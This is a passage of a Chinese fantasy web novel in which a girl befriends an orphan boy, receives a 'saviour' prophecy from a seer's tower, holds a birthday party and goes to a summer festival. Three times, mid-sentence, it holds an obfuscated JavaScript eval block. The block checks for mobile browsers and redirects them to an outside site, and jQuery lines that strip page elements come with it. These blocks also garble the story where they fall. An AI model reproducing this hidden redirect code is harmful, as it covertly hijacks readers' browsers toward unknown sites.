男孩依旧呆呆望着她，有些愣愣地“啊？”的一声，反应过来后突然又开始默默掉眼泪，他带着哭腔道：“呜，因为、大家都不和我玩……” “为什么不和你玩呢？你难道做了什么很过分、很讨人厌的事吗？”她疑惑道。 西塞莉没有被人孤立过，在她看来，如果一个人不想和另一个人玩，那一定是讨厌他，而人不可能无缘无故去讨厌一个人，所以这个人一定是做了什么事才会被别人讨厌的吧？ 闻言，男孩哭得更伤心了。 西塞莉茫然地看着他。 “呜，他们说我是怪物……呜……”他抽噎着道。 “为什么他们要说你是怪物？” “因、因为……” 他又不说话了，只是默默地低埋着头抽泣着，看着特别可怜。 西塞莉苦恼地叹了口气：她实在是不太会哄人……要不然也像对付扎克利那样，找借口离开让他自己解决？ 8. 关于朋友 最后还是被哄好了。 用口袋里一块被体温焐得半软的巧克力。 那是一块很普通的巧克力，是西塞莉从扎克利的房间里拿的，不是什么高档货，那家伙在这方面向来不怎么讲究，塞进嘴里一股甜腻的廉价巧克力的味道，西塞莉只吃了一块就停下了，剩下的被放她收进口袋，然后在高温中逐渐融化。 但丹尼尔——他们交换了名字，他很喜欢，他用湿润的眼睛小心翼翼地看她，问：“我们……算是朋友了吗？” “算吧！”西塞莉说。 她对朋友的定义并不明确，但依靠在各种书籍中的经验，她想，只要是不讨厌，我愿意他也愿意的话，应该就没问题的吧！ 于是，西塞莉和丹尼尔就这样成了朋友。 “以后……我还可以和你玩吗？” 临别前，丹尼尔不安的问。 “当然可以啦！”西塞莉对这个陪玩很满意，他不会像其他贵族小孩那样傲慢任性颐指气使，仿佛所有人都要听从他的命令，也不会扭扭捏捏叫人理解不了，丹尼尔是个相当坦诚而直率的人，跟他在一起很舒服，西塞莉很喜欢。 于是，她指着来时的路说：“往那儿一直直走，院子里种满了白蔷薇、最大最漂亮的房子就是我家了。” “我住在……” “我知道——神庭名下的福利院对吧？你衣服后面有神庭的标志呢。” “嗯！西塞莉竟然认识吗？！好厉害！” “哼哼，我可是懂很多东西的！” …… 人与人的相遇是很美好的，但有些相遇只能带来烟花般短暂而绚烂的美好。自那以后，他们就再也没有见过面了，但这短暂的美好依旧值得人铭记…… ……如果是现实向悲剧小说可能会这么写吧。 但事实上，丹尼尔第二天下午就来找她了。 当时西塞莉正在房屋前的秋千上看漫画。 霍华德也算是加兰帝国有名的贵族姓氏，但艾维斯是家族次子又早早毕业当了职业猎魔人，公爵爵位也就没落到他身上。 但好歹往上数几代还有那么点皇室血脉，重要的宴席是少不了了，同龄的贵族小孩也是有认识的，无聊了也是能坐马车上门拜访的，但没必要。 对于略显早熟的西塞莉来说，这群家伙愚蠢又装模作样，实在是无聊又麻烦，根本没有在上面花费时间的必要。 还不如多看几本书。 西塞莉识字很早，她的启蒙书除了常见的绘本寓言，还有漫画和幻想小说。 她的词汇量和同龄小孩相比要大得多，阅读一些较长的故事也没什么障碍，只是速度有些慢而已。 “西塞莉——”她听到有人在叫她的名字。 西塞莉抬起头，看见一个金色头发的男孩隔着铁门栏杆眼巴巴看着她，见她望过来，还朝她欢快地眨了眨明亮的蓝眼睛。 西塞莉记得那双眼睛。 “……丹尼尔？”她跳下秋千，将漫画反扣在上面，跑过去打开门将他放进来，惊奇的问：“你怎么来了？” “你说可以我找你玩的……”丹尼尔抿着嘴偷看了她一眼，有些腼腆地样子：“我们……不是朋友吗？” 两个人挤挤挨挨坐在秋千上分享一本漫画书。 丹尼尔不识字，西塞莉只好念给他听。 她柔软白皙的指尖指着对话框，声音稚嫩而清脆，绘声绘色：“……伊文说:‘我无论如此也要得到那把剑！’” “汤姆说：‘这可是只有勇者才能拔出的剑呢，你这种连普通的照明魔法都用不出来的废物就不要痴心妄想了！’” “伊文说：‘就算是这样……我也想证明自己是勇敢者啊——！！’” “乔治说：‘不要因为这种事而吵架啊，话说魔王还在沉睡，就算拔出勇者之剑也没有勇者任务给你做的。’” “杰克说：‘好啦好啦！有没有把老师我放在眼里啊？要开始今天的训练了哦？努力变得更加强大吧！’” …… 等到将剩下的读完，西塞莉后知后觉感到了干渴，于是她侧头对丹尼尔说：“我请你喝饮料吧！” 西塞莉踩着板凳打开冰箱，轻车熟路地拿出一瓶蓝莓味波子汽水，顿了顿，扭头问：“你喜欢喝什么呢，丹尼尔？” “欸——！” “我，我都可以的……！！”丹尼尔自从进到室内后显得十分忐忑，视线好奇又谨慎地打量着周围。 “那就可乐好了。”西塞莉说着，又从冰箱里面拿出一罐罐装可乐。 “谢谢！”丹尼尔有些手忙脚乱地接了过来。 他动作略显笨拙地打开了拉环，低头品尝，脸上露出有些惊奇的神色。 福利院的食谱上大概是没有可乐的。西塞莉想。 西塞莉觉得他这种姿态莫名像是一只喝水的小狗。 ……也不知道狗狗能不能喝可乐……？ 她思维发散地想。 “叮铃——” 西塞莉摇晃了下玻璃材质的汽水瓶，弹珠与瓶璧碰撞发出清脆的声响，她仰头喊道：“老爸——取弹珠——” 艾维斯和卡蜜拉在昨天下午就回来了，西塞莉理所当然喊自家老爸为自己服务。 “来啦——” 丹尼尔随着她的动作和声音扭头，看见一个相貌英俊的黑发男人从里屋走出来，他弯着浅绿的眼睛接过女孩手中的汽水瓶，指尖找准位置，稍一施力，就将瓶口掰开，取出了那颗玻璃珠。 “这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504994|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是罕见的蓝色呢！西塞莉果然是个幸运的孩子！”他笑着将那颗蓝色的弹珠放到女孩的掌心，说道。 然后，男人一扭头，那双浅绿色的眼睛顿时和丹尼尔的蓝眼睛对上。 “呜哇——！这里怎么有个黄毛！？”艾维斯几乎要跳起来。 “唔……是我带回家的……” “叔、叔叔好！”丹尼尔局促道。 艾维斯却像根本没听到一样自顾自崩溃地说：“你带了个黄毛回家？！不——我不接受——！！” 西塞莉歪了歪头，很是疑惑：“怎么了？你不喜欢丹尼尔的金色头发吗？” 这时，被艾维斯的声音吵出来了卡蜜拉狠狠抬手敲了他脑袋一下：“闭嘴！” 母亲卡蜜拉同样是名优秀的猎魔人，而且武器是重弓，手臂力气着实不小，艾维斯“哎呦”一声，下意识捂着脑袋半弯下腰，他委屈地说：“打我干什么啊……” 卡蜜拉瞪他一眼，看到对方下意识瑟缩了下肩膀后才安抚地看向丹尼尔：“抱歉，艾维斯的性格就是这样，希望没有吓到你。” “没……没事。”丹尼尔说。 卡蜜拉看向西塞莉：“这是西塞莉的朋友吗？” 黑发女孩点了点头，说：“他叫丹尼尔，是附近福利院的孩子。” “是孤儿啊……”卡蜜拉也是孤儿出身，她用颇为怜爱地看了丹尼尔一眼。 “啊！”卡蜜拉突然敲了下掌心，说：“这可是西塞莉第一次带朋友到家里呢！必须纪念一下……” 她跑回房间拿相机，而一旁的艾维斯还在低声念叨着什么“该死的黄毛……竟然敢勾引我女儿……不可饶恕……”。 直到卡蜜拉招呼着西塞莉和丹尼尔拍完照片，艾维斯依旧蹲在沙发旁冒着黑气恨恨盯着丹尼尔看。 直到卡蜜拉再次给了他一个头锤才有所收敛。 “……该死的黄毛小鬼！”他低声暗骂。 几天后，丹尼尔收到了一张洗出来的照片。 照片上，他穿着福利院统一发放的宽松白袍，抿着嘴笑，蓝眼睛弯成愉悦的弧度，身旁是穿了身浅绿碎花裙的女孩，她像是习惯了父母的各种奇怪举动，脸上没什么表情，很自然盯着镜头，黑眼睛圆润而漂亮。 这就是…… 朋友……么……？ 好开心。 —— 丹尼尔在黑夜里奔跑着。 他跑过萧索的街道、无人的小径、昏黄的路灯，然后在月光下的梧桐旁看到了熟悉的身影。 “西塞莉——” 她转过身，朝他歪了歪头。 丹尼尔扑过去，二人抱了个满怀。 “等你好久啦。” 他听见她抱怨般的说。 9. 于世界有益之人 安息日的最后一天，五月二十日，是西塞莉的生日。 “准备好了吗？” 观星塔下，艾维斯低头问道。 西塞莉仰头望着那座高塔，矗立着的雪白的塔，在日光下近似闪着光。 她深吸一口气，“准备好了！” 观星塔，预言师世家墨提斯家族的驻地，相传，其血脉拥有看穿命运的能力，又被称为“命运女神的后代”。 过程不详，但墨提斯家族的祖先的确在大约八百多年前曾经给过霍华德家一个许诺，直到现在也依旧在行使。 霍华德家的孩子，升上猎魔人学院的第一个生日，必须到观星塔来做预言。 是的，是“必须”，所以比起一个许诺，它似乎更像一个两族间的合约。 而那位霍华德家的祖先也实在没有不答应的理由。毕竟，观星塔的预言可是真的千金难求，全看缘分的。 虽然霍华德的猎魔人的确不多，最近一百年也就只出过艾维斯一个。 哦，如今的西塞莉也算一个。 “请跟我来。” 刚进到塔里，就有一个年轻的女人出现，领着他们进到更深处，像是早有准备。 年轻女人身上所穿的衣服让西塞莉想到了丹尼尔，他们初见时，对方身上的福利院统一服饰也是这样版型宽松的白色袍子。 不过，即使对布料方面没什么研究和辨别能力，西塞莉还是能看出来对方身上的衣服质感不知道比丹尼尔那件福利院统一服饰好了多少倍。 而且两者背后的图案也相差甚远。她看见那年轻女人的背后细致地绣着银白的圆球形图案，不知道是月亮还是水晶球。 福利院的统一服饰都是直接印上去的，甚至还会有些轻微掉色，只有大家族的族服会有那么精细的标识刺绣。 年轻女人带他们弯弯绕绕走了很长一段路，直到在一扇古朴的白色的石门前停下，西塞莉看见门上有着蓝蒲花的浮雕。 蓝蒲花是一种神奇的花，全世界所有蓝蒲花都在同一天盛开，也在同一天凋零，据说是和魔法磁场有关。 但在研究出这个原因前，蓝蒲花就被人们和命运连接在一起了。 蓝蒲花的花语是，“注定的命运”。 注定的命运啊…… 西塞莉后知后觉开始感到紧张。 蓝蒲花的花语实在是和墨提斯一族相当适配。据说墨提斯的预言从来不会错的，是命中注定的、无法改变的…… 石门两侧的侍者一左一右将石门推开，厚重的石门被推开时却并没有发出多大的声响，随着西塞莉三人的进入，石门又被再次合上，西塞莉只能感到一阵轻微的风声和极小的、石门与门口的地毯摩擦发出的声响。 房间内很宽敞，巨大的窗子和雪白的墙壁和白石地板将屋子映照得格外明亮。 “过来。” 西塞莉听到一道苍老而空灵的女人的声音。她这时才发现，更深处还有一个房间。 他们走进最里面的房间，那里和那个雪白的房间只隔着一道绣着奇异花纹的暗色门帘。 一走进去，西塞莉就不适地皱了皱眉—— 这里和外面的房间截然不同。 这是一间没有窗户的房间，唯一的光线来源于身后门帘的缝隙与桌上的烛台，地上是暗色的地毯，花纹和门帘上的有些像，古怪的纹路在房间内蔓延。 房间内燃着熏香，奇异的香气充斥鼻尖，浓郁到几乎叫人感到眩晕。 这个房间给人的感觉并不大，几个高大的书架几乎占满墙壁，空白的地方挂着一副被裱在玻璃相框里的蓝闪蝶标本，房间上空用半透明的丝线吊着十几颗色彩绚丽古怪的石头，在微弱的光线下闪着异常的光。 除此之外，这个房间里只有一张很大的长桌和两把椅子。桌子上凌乱地堆满了各种各样西塞莉见过和没见过的东西，光是水晶球就有大小不一的十几个。 摊开的各种书籍，几本大部头参差不齐地叠放在一起，水晶球和类似望远镜的东西的镜片相互闪着光，形成一副带着奇异美感的画面。 “过来，坐下。” 平静而空灵的苍老女声再次响起，西塞莉听见物体移动的声音——有人推开了那几摞堆得很高的书。 于是西塞莉就看到了那声音的主人。 拥有着雪白的发丝，苍老褶皱的皮肤，年纪肉眼可见的大，这点从对方的声音上也可以看出。 她穿着款式和那个引路的年轻女人相似的白色袍子，细节上能明显看得出不同，她的衣袍上用银线绣着大片大片的蓝蒲花，左耳长长的绿宝石耳饰从雪白的发间露出，一直垂落至肩头，烛光将它的颜色映到对方雪白的衣袍上，显出些诡异的美丽来。 最为奇特的是对方那双眼睛。 银蓝色的虹膜，连瞳孔的颜色都极浅，不注意地话大概会被看成纯白吧…… 不过也有可能会对方被误认为在翻白眼……？ 西塞莉在心底开了个有些不合时宜的玩笑。 她顺从地走上前去，坐到那年老女人的面前。 她还是改不掉那个习惯，一坐下就直勾勾盯着对方的眼睛看。 年老的女人静静与她对视。 半晌，西塞莉才后知后觉移开眼来，心里暗骂自己不够警惕，那双颜色过浅的眼睛一看就不一般，万一是什么特殊的透过眼睛发动的天赋术法该怎么办？ 那可太糟糕了。 这让她想起了克里斯.斯科特，她那时就是因为毫无防备地和他对上视线才中招的。 真是太懈怠了，西塞莉。 “抬头。” 西塞莉顿了顿，还是抬起头与她对视。 这个年老的女人，是墨提斯一族的现任族长，是观星塔的现任主人。 她在用那双诡异的、颜色浅淡的眼睛盯了西塞莉半晌后，突然叹了口气。 西塞莉一瞬间找回了紧张的感觉。 她现在是该紧张的，毕竟观星塔的预言从来不会出错，说不定她下一刻说出口的语句就注定了她的一生…… “怎、怎么了吗？”不是她的声音。 艾维斯听起来比她本人还要紧张，西塞莉甚至能想象出他紧张地拉着卡蜜拉袖子的“小鸟依人”模样——说不定和丹尼尔还有些相像…… 大概是为了排解紧张吧，西塞莉的思维突然变得十分活跃，开始去想一些有的没有，直到听见一阵翻书声才猝然回神。 观星塔主人不知道什么时候起了身，正从身后的书架上拿出一本书翻看着。 ……这是在做什么？ “这是在做什么？” 西塞莉以为自己说出口了，顿了片刻才意识到这句依然是艾维斯说的。 “我十几年前来的时候可没有这一步啊……！！”他低声说。 “她和你不一样。”法师塔主人像刻板印象里的不靠谱神棍一样语焉不详地摇着头说。 “什么……？” 她摇摇头，继续翻看手中的书。 法师塔主人模棱两可的话语与举动叫西塞莉感到有些焦躁。 就在她几乎要忍不住开口催促时，对方却突然停止动作，然后轻轻“啊”的一声：“找到了。” 她手里抱着本很厚的书，大约有两块砖头叠起来那么高，书封是黑色，上面烫印着几个金色字符，但因为角度和光线，西塞莉并没有看清。 书被翻到偏末尾的位置，观星塔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504995|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人左耳的长耳坠随着低头动作滑到边缘泛黄的书页上，在烛光的照耀下在其上映出半透明的绿色影子。 “就是你了……” 她抬头，用一种难以形容的奇异目光从头到脚打量她，那双虹膜颜色过于浅淡的眼睛一瞬间流露出叫人心惊的异常感来。 “准备好接受你注定的命运了吗？西塞莉.霍华德小姐。” 西塞莉感受到自己过速的心跳声。 “……准备好了。” 她意识到自己在说话，声音意外地冷静。 然后她就知道了，那不是因为害怕或是紧张，而是兴奋。 “很好。” 法师塔主人说，她露出了一个笑——自会面起的第一个笑，但因为诡异的发色与瞳色和脸上的褶子，显得相当怪异。 “你的出生与成长……”她顿了顿，眼睛直勾勾盯着她，“于世界有益。” 西塞莉茫然的与她对视。 ……什么意思？ “对世界有益”？是说她将来会成为对社会有用的人吗？ 但认真来讲，她只要毕业以后多杀一只恶魔，她的出生与成长也算对世界有益了，这种看似通俗实则弹性很大的说法实在是过于暧昧不清了。 ……说不定预言本来就是模糊不清的呢？对于预言来说，这种模糊的结论似乎已经足够了。 毕竟越模糊，代表着可操作性和可能性越大。 而过于确切的内容——比如‘克洛诺斯一定会被自己的儿子杀死’这种，因为人物、行为和结局都过于齐全，看上去就像是“注定”了一般，有可能让人连去更改和实现的动力都没有…… 西塞莉平时所看的各种小说漫画里关于命运和预言的内容也都是模糊而暧昧的，大概也是这个原因吧……？ 还没等她想明白，对方便再次开了口：“你对世界的影响，很大。” 啊……？ 有益的、影响大的……那不就是—— “救世主么？” “救世主？” 西塞莉脱口而出，听到一道几乎和她同时出口的男声。 西塞莉和她的父亲艾维斯并不必要的默契再次在并不必要的时候发挥了作用。 “……差不多吧。”观星塔主人说。 “好酷——！！” “……” “那我又会如何死去？”西塞莉突然问。 “西塞莉？！”卡蜜拉的声音在身后响起，带着压抑不住的惊呼。 “爱是最伟大的魔法。”塔主人再次模棱两可地说。 爱是最伟大的魔法？ 什么鬼？和她的问题有什么联系吗？这难道就是传说中的‘已读乱回’吗？！ 西塞莉觉得这句话很耳熟。 她垂头思索片刻，才意识到她在不止一本小说漫画里见到过这句话。 上到她最喜欢的漫画《第一魔法纪实录》，下到《天才猎魔人的完美伪装》这种三流套路小说，那些作者似乎都认为人类的情感是伟大的，比之最高级的魔法、附魔法器都要强大。 主角在濒临死亡或者即将失败的时刻，似乎只要想起关于“爱”与“羁绊”，便能够再次爆发出强大的力量。 俗称“回忆杀”。 而反派，似乎也总因为回忆起曾经美好的、关于“爱”的记忆，就轻易被主角共情与说服，获得释怀与救赎。 俗称“嘴遁”。 ……就连传说中的勇者帕西斯，人们也说他是为了恋人可以生活在一个和平的世界而去讨伐魔王，为此甚至愿意牺牲生命。 西塞莉想。 如果那些是真的的话， 那爱可真是相当伟大的东西啊…… 10. 预言与生日 “为什么要问那个问题？” 回去的马车上，卡蜜拉气冲冲地逼问西塞莉。“你不知道那很危险吗？” 关于墨提斯家族，还有另一个传言。 有人说，墨提斯一族其实不是预言者家族，而是“言灵者”家族。 毕竟墨提斯家族的大半预言都灵验了，从预言师的角度来说成功率未免有些太高了些，于是，就有人说，墨提斯家族学习的其实不是预言术而是传说中失传已久的“言灵术”，即“言出法随”之术。 所以，墨提斯一族的预言才是“注定”的，“无法改变”的，因为自从命运被他们说出后，就已经开始变成现实了。 “有，有那么严重吗？！”西塞莉目瞪口呆。 但她又很快安定下来：“她也没说什么不好的啊！就只是说了‘我对世界有很大的影响’和一句模棱两可的‘爱是最伟大的魔法’啊！” “不过那句‘爱是最伟大的魔法’到底是关于什么的啊？我会死于“爱”？还是会被“爱”拯救？说得好含糊啊……不过我以后大概会是个很厉害的角色吧？对‘世界有益’的‘影响很大’的人……不就是救世主吗？” “……” “……还挺酷的。”西塞莉喃喃自语。 “被这可是小说和漫画里，只有主角才有的待遇啊……！” “被观星塔主人预言为救世主……嘶……好熟悉的剧情啊……” “啊！伊文.泽维尔！”艾维斯睁大眼睛，“难道西塞莉就是三次元的勇者大人吗？！” 伊文.泽维尔，《第一魔法纪实录》的主角，上天选定的救世主，拔出圣剑的勇者大人。 “哇——！！”西塞莉激动捧读，“我是三次元的勇者大人！” “……不要转移话题！”卡蜜拉瞪他。 艾维斯委屈道：“干嘛瞪我嘛！我刚刚可是什么都没做诶！” “都是你教的吧？” “冤枉啊！说不定是西塞莉自己在那些乱七八糟的书里学坏了！” “……明明是你把那种书当识字书教给她的吧？那家好孩子用少年漫当识字书？” “但、但是真的很有效果啊……！西塞莉可是在上初级学院前就已经能够自己完整地看完一套长篇小说的天才！！” “……就算不看那些书西塞莉也会是天才！” …… “好啦好啦……！”艾维斯说，“不要把墨提斯当成魔鬼嘛……” “魔鬼的话，还是斯科特更合适嘛！”西塞莉插嘴道。 “？西塞莉你什么时候开始对别人有偏见了？那些都是谣言……是艾维斯这家伙又给你看了什么奇怪的书吗？扮演反派角色的家伙姓斯科特？” “我没有啊老婆——！！” …… “……不要转移话题——！”卡蜜拉再次说，她揉了揉眉心，很是无奈：“这都偏到哪儿了啊……” “嗯……是这样的……”西塞莉看了眼艾维斯，“因为老爸昨天跟我讲过他的预言……” —— “……幸福的人？” “对哦，塔主人说我是个很幸福的人呢！……这个预言已经实现了一大半了哦。”平日大大咧咧没心没肺的艾维斯难得流连出柔软而感性的情绪来： “相爱的妻子，聪明可爱的女儿，还有蒸蒸日上的事业——我说快升S级的事是真的哦！” “……这样看来，你的确是个很幸福的人了呢老爸。”西塞莉评价道。 “……” “‘你是个幸福的人’，这是她当时的原话。” “就只有这一句了吗？” “当然还有啦！我也问了她‘就只有这个了吗？’，这么说我们不亏是亲父女啊哈哈……” “……她说了什么？” “她说，‘你会幸福地活，然后幸福地死’。” —— “幸福地活幸福地死……”卡蜜拉皱起眉。 “奇怪的话，按理说，死亡永远不会是一件幸福的事吧……？”她突然目光锐利地看向艾维斯：“……你难道认为死亡也是一件幸福的事吗？” “……怎么会？！” “我一想到如果死到去以后说不定再也见不到你就难过地想要死掉……” “‘想要死掉’？” “不是不是！我的意思是、是如果转世之后无法再次遇到你，我会很难过的……如果要死到的话，至少也要找到我一定可以在下一世遇见你的方法吧……” “我想要永远和你在一起啦……！” “咳咳——孩子还在呢！别撒娇……” 西塞莉：“……” 我不在的。 她静静扭头看向车外向后移动的景色。 看见雪白的云与湛蓝的天空，又想起了那个头发雪白的观星塔主人…… 她的头发是一种不正常的雪白，比云还要白上几分，虽说是用‘雪白’来做形容词，但西塞莉还真不知道雪有没有她的头发白…… 世界这么大，什么颜色的头发眼睛没有？但总是有罕见的颜色，总不能各个颜色发与眼的拥有人都是同一数量吧？ 比如斯科特一族的黑发黑眼，还有那位塔主人的白发。 白发其实并不算罕见，扎克利的头发就是偏白的银色。但那种过于纯粹的白色就显得很异常了……就比如克里斯.斯科特的头发，那黑色得太过于纯粹，几乎反不出光来。 雪白的…… 苍白的…… 她突然又想起刚刚在观星塔里的事。 在他们从那间房间出来时，碰见了一个少年。 他静静伫立在窗前，日光薄纱般笼罩在他纯白的长发上，听到他们出来的动静，微微转头朝向他们。 西塞莉由此看清了他的面孔。 他的肌肤也是白皙的，甚至不知道和头发哪个更白，宽松的白袍拢在他过分单薄的身躯上，袖口下垂落的手也是白的，整个人都像是白瓷塑成的像。 但他的眼睛却是过于明亮耀眼的灿金色，像是光下闪着的黄金一样的颜色，那璀璨的金色瞳仁被雪白睫毛半掩住，有种不可言说的神圣美感。 西塞莉停住脚步，好奇道：“那是谁？” 身旁的侍者恭敬道：“那是奥维亚大人的继任者。” 奥维亚……是现任观星塔主人，刚刚给她算过命的家伙。 她的继任者，不就是下一任的观星塔主人么？ “我的名字是克洛托。” 西塞莉愣了愣，才意识到这是那个白色的少年在说话，他的声音给人的感觉像是把手浸入冬天刚打上来的井水——一种既凉又温的感觉。 “我是西塞莉。”她回。 “真是美丽的名字。真想看看你的样子啊……”他用那奇异的音色说，带着些微感叹的语调，“可惜我看不见……” 西塞莉仔细看去，发现他的确半瞌着眼，但又没有完全闭合，雪白的睫毛下流泻出令人心惊的灿金色。 “没事，”刚被算命的说是‘救世主’的西塞莉中二病很严重，她矜傲道：“你只要知道我本人比名字更加美丽就好了。” 西塞莉微微垂眸，看见自己脸颊边的黑发，顿了顿，扭头看向自己那对像小学生一样排排坐牵手手的父母，看了看艾维斯的黑色头发又看了看卡蜜拉的黑色眼睛……意识到自己从他们身上遗传到了这两样——黑色的头发和黑色的眼睛…… 嘶……斯科特同款的黑发黑眼？ 她捻起自己刚没过下颌的头发瞧了瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504996|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看见和克里斯一般无二的黑色头发，顿时感觉心情变糟了。 但西塞莉又记起自己的“救世主”预言，被克里斯.斯科特搞糟的心情顿时好了不少。 ——她以后可是要当救世主的女人，可以和她拥有同款的发色和瞳色是他的荣幸！ 不过…… 话说她曾经认为尼克是主角，但还没等对方开始‘走剧情’（指跳级成为S级，让公会会长直呼“此子恐怖如斯！”），她自己就成为了被观星塔认证的‘注定’的救世主了么？ 啊，这样怎么看的话，她才更像是真正的主角吧……？ —————— 晚上，大家在别墅里举办了生日派对，丹尼尔、尼克、玛蒂尔达、苏菲亚、扎克利，几个在初级学院时关系不错的老同学，还有不请自来的阿尔瓦.摩尔小少爷。 ——就是那个送他草编戒指和融化巧克力会被当成侮辱的贵族小少爷。 “西塞莉。” 男孩骄矜地微昂起下巴，将手中包装精致的礼物向前送了送：“生日快乐。” “哟，摩尔少爷居然回来参加我的生日派对！还带了礼物！我真是太——荣幸啦！”西塞莉双手接过，惊喜道。 西塞莉最近学会了“阴阳怪气”这个技能——只要把想说的话反过来再用很夸张的扭捏语气说出来，对面就会被气个半死。 “你——！！”对面的男孩果然被气得脸颊发红，却又不知道该怎么反驳。 这也是阴阳怪气之术的优秀之处——如果对方没有同样学会这项技能的话就会不知道该怎么把这一球打回去，然后就会变得更加生气。 “西塞莉.霍华德！！”阿尔瓦气愤地跺了跺脚，但幅度并不大，贵族礼仪他还是记得的，他用淡蓝色的眼珠狠狠瞪了她一眼——阿尔瓦.摩尔也是金发蓝眼，只是无论是头发还是眼睛颜色都要比丹尼尔的浅上好个几度，不然当初见面时西塞莉也不会总拿他跟丹尼尔比。 对比的结论是，丹尼尔比阿尔瓦.摩尔可爱一百倍。 对比的结果是，西塞莉比以前更讨厌阿尔瓦.摩尔这个坏脾气小少爷了。 这时，西塞莉心心念念的丹尼尔蹦了出来，他动作幅度很大很夸张地从身后扑倒西塞莉身上，从背后揽住她的肩，但她却并没有感受到多大的力道，想来只是看着用力罢了。 “西塞莉——”他拉长声音喊她的名字，几个音节被含糊地含在嘴里，听上去像是撒娇。 “嗯？怎么了？”西塞莉微微侧头，脸颊和丹尼尔的颊贴上，她感受到对方比自己要高些的体温，于是又顺势蹭了蹭。 丹尼尔瞬间像是被主人奖励的小狗，贴过来挨挨蹭蹭。 “丹尼尔！”阿尔瓦气愤地喊。 “怎么了吗？”丹尼尔模仿着西塞莉说话的语气，无辜地朝他眨了眨眼。 阿尔瓦狠狠瞪了丹尼尔一眼，又瞪了一旁西塞莉一眼，呼吸局促，愠怒的神色间隐隐有些屈辱的意味，想来主动送礼物却没有得到对方想象中的反应给他带来的打击不小：“……不知好歹！！” 望着阿尔瓦浅金色的后脑勺逐渐远离，西塞莉同丹尼尔抱怨道：“他的脾气还是那么臭……这么多年过去了，一点长进都没有嘛……！” “不要管他啦！”丹尼尔推着她到桌前，“该你上场啦！” …… 生日愿望是什么……？ 望着黑暗里闪耀的烛火和围在她周围的人们，西塞莉思考着这个问题。 不过，她现在似乎也没什么想要的东西啊…… 她突然又想到预言的事。 救世主啊…… 西塞莉想，既然是救世主的话，那就许愿“世界和平”吧！ 这才是主角该干的事嘛！ 11. 祭典与猫面具 夏日祭，在各种漫画和轻小说中都时常出现的场景，时常是主角团冒险外的日常和男女主感情升温的场合。 西塞莉：“话说为什么是夏日祭啊？不可以是春日祭秋日祭？亡灵祭和学院祭也不行吗？不是都是祭典吗？” 尼克：“……” 尼克：“……因为夏天是很漂亮的季节？” 丹尼尔：“春天也是很漂亮的季节啊！秋天和冬天难道不漂亮吗？” 尼克迟疑道：“……大概是因为气候原因……？初春和冬天的时候气温还有些低。” 西塞莉说：“可是夏天气温很高欸。” 尼克：“还好吧……初夏的时候还还可以，现在不是很好吗？而且现在这个气候可以穿漂亮衣服，大概是这个原因吧，可以和精心打扮过的漂亮女主角约会什么的……？” 西塞莉＆丹尼尔：“原来如此……” 西塞莉：“不愧是尼克！” 不愧是主角大人！ 总之，初夏时分，夏日祭到了。 “去哪玩儿？”西塞莉问。 她和丹尼尔、尼克已经组成了新的三人小组，这种活动当然要一起行动。 丹尼尔：“我想去东区！听说那里有个射击摊位上有超大号玩偶！” 尼克：“超大号玩偶什么的每个祭典的射击摊位都有的吧？还是去南区好了，那里的位置最适合看烟花。” 西塞莉：“可是我想去西区欸，听说那附近新开了一家不错的甜品店，我想顺路去试试。” 丹尼尔：“那就去西区吧！” 尼克：“嗯、好吧……” 维戈猎魔人学院所在的卡里城的祭典和王城的似乎并没什么大的区别，同样是各色叫卖的摊位，同样是挤挤挨挨的人群，为了防止被人流冲散，西塞莉只好紧紧拉住丹尼尔和尼克的手。 “以前不觉得人有那么多的……”西塞莉抱怨道。 她从前在祭典上不是骑在艾维斯脖子上就是被扎克利放到肩膀上，他们俩个子都很高，西塞莉根本不会有这种烦恼。 丹尼尔拍了拍自己的肩膀，自荐道：“那西塞莉你坐到我肩上就好了！” 尼克：“你太矮了，就算坐上去也会被挤到的吧？”十来岁的小屁孩说什么胡话。 丹尼尔立马恹掉：“……好吧。” 西塞莉立马安慰道：“这样也很好啦，是新的体验哦？” 她眨了眨眼：“话说我还是第一次没和大人一起逛祭典呢！” 如果艾维斯和卡蜜拉跑去过二人世界，西塞莉就会被丢给扎克利，如果扎克利出任务没回来，西塞莉就会被家里的佣人看着，这的确是她在没有看护的情况下第一次独自到人这么多地方。 路过一个射击摊位，西塞莉突然想起丹尼尔说的超大号玩偶，往奖品堆里仔细一看，果然有看着样式格外熟悉的大号玩偶。 尼克说得对，这种大号玩偶果然是每个祭典的射击摊位必备的奖品。 西塞莉拉着两个人挤开人群冲到摊位前：“我们来玩这个。” 